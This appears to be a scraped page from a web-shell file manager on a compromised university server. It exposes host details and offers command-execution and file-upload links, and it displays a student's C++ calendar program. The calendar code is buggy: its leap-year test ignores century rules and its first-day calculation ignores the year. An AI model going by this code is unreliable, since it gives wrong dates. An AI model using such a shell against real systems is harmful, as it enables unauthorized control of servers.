Server IP : 172.16.15.8 / Your IP : 3.128.226.128 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/cchansen/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
//------------------------------------------------------------- // Example to illustrate user-defined functions //------------------------------------------------------------- #include <iostream> #include <iomanip> #include <cmath> using namespace std; // ------------------------------------------------------------ // LeapYear determines whether a year is or is not a leap year // ------------------------------------------------------------ // Accepts: number representing a year // Returns: a true or false calculation // ------------------------------------------------------------ bool LeapYear (int year) { int rem; rem = year % 4; if (rem == 0) return true; else return false; } //------------------------------------------------------------- // DaysInMonth determines the number of days of the month //------------------------------------------------------------- // Accepts: number (1 - 12) representing month // Returns: number of days in that month //------------------------------------------------------------- int DaysInMonth (int monthnum, int year) { int numdays; // temp variable for days in month switch (monthnum) { case 1: case 3: case 5: case 7: case 8: case 10: case 12: numdays = 31; break; case 2: if (LeapYear(year) == true) numdays = 29; else numdays = 28; break; case 4: case 6: case 9: case 11: numdays = 30; break; } return numdays; } //------------------------------------------------------------- // DisplayMonthName displays the month name to standard output //------------------------------------------------------------- // Accepts: number (1 - 12) representing month // Returns: nothing //------------------------------------------------------------- void DisplayMonthName (int monthnum) { switch (monthnum) { case 1: cout << "January"; break; case 2: cout << "February"; break; case 3: cout << "March"; break; case 4: cout << "April"; break; case 5: cout << "May"; break; case 6: cout << "June"; break; case 7: cout << "July"; break; case 8: cout << "August"; break; case 9: cout << "September"; break; case 10: cout << "October"; break; case 11: cout << "November"; break; case 12: cout << "December"; break; } } //------------------------------------------------------------- // DisplayFirstLine displays the first week in the output //------------------------------------------------------------- // Accepts: number (1 - 6) representing days in first week of output // Returns: nothing //------------------------------------------------------------- void DisplayFirstLine (int startdayofweek) { int i; cout << "\n"; for(i = 0; i < startdayofweek; i ++) cout << " "; for(i = 1; i <= (7 - startdayofweek); i ++) cout << setw(5) << i; } //------------------------------------------------------------- // DisplayFullWeek displays the full week of output //------------------------------------------------------------- // Accepts: number (resulting start date of week) // Returns: nothing //------------------------------------------------------------- void DisplayFullWeek (int startdateofweek) { int i; cout << "\n"; for (i = startdateofweek; i <= (startdateofweek + 6); i ++) cout << setw(5) << i; } //------------------------------------------------------------- // DisplayLastWeek displays the last week of output //------------------------------------------------------------- // Accepts: numbers (start date of week and number of days in the month) // Returns: days of month //------------------------------------------------------------- void DisplayLastWeek (int startdateofweek, int numdaysinmonth) { int i; cout << "\n"; for (i = startdateofweek; i <= numdaysinmonth; i ++) cout << setw(5) << i; } int getFirstDay( int monthnum, int year ) { int mysteryInt, code, dayofmonth; mysteryInt = 8; mysteryInt += (mysteryInt / 4); switch( monthnum ) { case 5: code = 0; break; case 8: code = 1; break; case 2: case 3: case 11: code = 2; break; case 6: code = 3; break; case 9: case 12: code = 4; break; case 4: case 7: code = 5; break; case 1: case 10: code = 6; break; } dayofmonth = mysteryInt + code + 1; if( dayofmonth > 7 ) dayofmonth = dayofmonth % 7; return dayofmonth; } void leapYear( int year ) { int startYear, endYear, leapCount = 4; startYear = year; startYear /= 100; switch( startYear ) { case 17: leapCount = 5; break; case 18: leapCount = 3; break; case 19: leapCount = 1; break; case 21: leapCount = 5; break; case 22: leapCount = 3; break; } cout << "---------- DEBUG ----------" << endl; cout << "Leap Count: " << leapCount << endl; cout << "Start Year: " << startYear << endl; cout << "---------- DEBUG ----------" << endl; } //------------------------------------------------------------- // Main Function //------------------------------------------------------------- int main ( ) { // --- Variables int monthnum, // month number (1 - 12) entered by user startdateofweek, // begdateofnextweek, // year, begdayofmonth, // numdays; // number of days in month // --- Get Year and month numbers from user cout << "\nEnter a year (1700-2299): "; cin >> year; cout << "\nEnter a month number (1-12): "; cin >> monthnum; // --- Validate month number while (year < 1700 || year > 2299) { cout << "\n\n!!! Year number must be within the range of 1700 to 2299!!!"; cout << "\n\nPlease re-enter year number: "; cin >> year; } while (monthnum < 1 || monthnum > 12) { cout << "\n\n!!! Month number must be in range 1 - 12 !!!"; cout << "\n\nPlease re-enter month number: "; cin >> monthnum; } // --- Get number of days in month begdayofmonth = getFirstDay( monthnum, year ); numdays = DaysInMonth(monthnum, year); leapYear( year ); // --- Display output sentence cout << endl; cout << "\t\t"; DisplayMonthName (monthnum); cout << endl; cout << " ---------------------------------"; cout << endl; cout << " Sun Mon Tue Wed Thur Fri Sat"; cout << endl; cout << " ---------------------------------"; DisplayFirstLine(begdayofmonth); begdateofnextweek = 8 - begdayofmonth; DisplayFullWeek(begdateofnextweek); begdateofnextweek += 7; DisplayFullWeek(begdateofnextweek); begdateofnextweek += 7; DisplayFullWeek(begdateofnextweek); begdateofnextweek += 7; if(numdays - begdateofnextweek >= 7) { DisplayFullWeek(begdateofnextweek); begdateofnextweek += 7; } DisplayLastWeek(begdateofnextweek, numdays); begdateofnextweek += 7; cout << endl; cout << endl; return 0; }